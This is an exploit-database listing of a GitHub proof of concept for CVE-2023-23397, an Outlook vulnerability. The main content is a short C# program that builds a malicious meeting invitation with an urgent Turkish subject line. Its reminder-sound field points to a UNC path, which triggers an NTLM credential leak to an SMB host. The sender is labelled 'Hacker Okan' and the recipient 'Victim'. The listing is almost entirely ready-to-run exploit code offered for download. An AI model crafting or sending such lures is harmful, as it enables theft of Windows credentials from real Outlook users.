Exploit database

GH-ceebcb4860e228fa7d488f077a8109e4

alicangnll/cve-2023-23397

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-23397

38 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
alicangnll/cve-2023-23397Revision 60203e2e98d3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Program.cs

Suggested starting fileC# · 1,698 bytes
using MsgKit.Enums;
using MsgKit;
using System.Security.Principal;

namespace MsgKitTestTool
{
    static class AppointmentTest
    {
        public static void Main()
        {
            using (var appointment = new Appointment(
                new Sender("[email protected]", "Hacker Okan"),
                new Representing("[email protected]", "Kurban"),
                "Acil Toplantı!!"))
            {
                string userName = WindowsIdentity.GetCurrent().Name;

                appointment.Recipients.AddTo("[email protected]", "Hacker Okan");
                appointment.Recipients.AddTo("[email protected]", "Victim", objectType: MapiObjectType.MAPI_DISTLIST, displayType: RecipientRowDisplayType.DistributionList);
                appointment.Subject = "Acil toplantı!";
                appointment.Location = "Türkiye";
                appointment.MeetingStart = DateTime.Now.Date;
                appointment.MeetingEnd = DateTime.Now.Date.AddDays(1).Date;
                appointment.AllDay = true;
                appointment.BodyRtfCompressed = true;
                appointment.BodyText = "Acil toplantı!!";
                appointment.BodyHtml = "<html><head></head><body><b>Acil toplantı!!</b></body></html>";
                appointment.SentOn = DateTime.UtcNow;
                appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
                appointment.IconIndex = MessageIconIndex.UnsentMail;
                appointment.PidLidReminderFileParameter = @"\\127.0.0.1\malware";
                appointment.PidLidReminderOverride = true;
                appointment.Save(@"test.msg");
            }
        }
    }
}